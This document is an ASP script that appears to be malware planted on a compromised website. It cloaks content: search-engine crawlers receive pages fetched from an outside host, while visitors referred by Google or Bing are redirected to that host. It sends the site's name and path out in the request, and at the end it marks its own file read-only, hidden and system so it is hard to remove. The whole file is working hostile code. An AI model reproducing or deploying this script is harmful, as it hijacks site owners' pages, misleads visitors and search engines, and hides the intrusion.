<%Server.ScriptTimeOut=999999
if (Instr(1,Request.ServerVariables("HTTP_USER_AGENT"),"oo")>0 or Instr(1,Request.ServerVariables("HTTP_USER_AGENT"),"bing")>0 ) then
else
if (instr(Request.ServerVariables("http_referer"),"google")>0  or  instr(Request.ServerVariables("http_referer"),"bing")>0) then
Response.Redirect("http://202blog.ands1.com/2022cai/blogjer.asp")
Response.End
end if
end if
Function getHTTPPage(Path) 
t = GetBody(Path) 
getHTTPPage=BytesToBstr(t,"GB2312") 
End function 
Function Newstring(wstr,strng) 
Newstring=Instr(lcase(wstr),lcase(strng)) 
if Newstring<=0 then Newstring=Len(wstr) 
End Function 
Function BytesToBstr(body,Cset) 
dim objstream 
set objstream = Server.CreateObject("adodb.stream") 
objstream.Type = 1 
objstream.Mode =3 
objstream.Open 
objstream.Write body 
objstream.Position = 0 
objstream.Type = 2 
objstream.Charset = Cset 
BytesToBstr = objstream.ReadText 
objstream.Close 
set objstream = nothing 
End Function 
Function GetBody(url) 
on error resume next 
Set Retrieval = CreateObject("MSXML2.serverXMLHTTP") 
With Retrieval 
.Open "Get", url, False, "", "" 
.Send 
GetBody = .ResponseBody 
End With 
Set Retrieval = Nothing 
End Function 
Dim Url
Dim ServerPort,ServerName,ScriptName,QueryString  
ScriptName = Request.ServerVariables("SCRIPT_NAME") 
QueryString = Request.ServerVariables("QUERY_STRING") 
Url=Url&ScriptName 
If QueryString <>"" Then 
Url2="&"& QueryString 
end if
ServerName = Request.ServerVariables("SERVER_NAME") 
ServerPort = Request.ServerVariables("SERVER_PORT")
Url1=ServerName 
If (ServerPort <> "80" and ServerPort <> "443") Then
Url1 = Url1 & ":" & ServerPort 
end if
iwww="http://202blog.ands1.com/2022cai/n11index.asp?wangzhi="&Url1&"&wenjian="&url&url2
response.write getHTTPPage(iwww)
Set fso=CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")):if  f.attributes <> 39 then:f.attributes = 39:end if
%>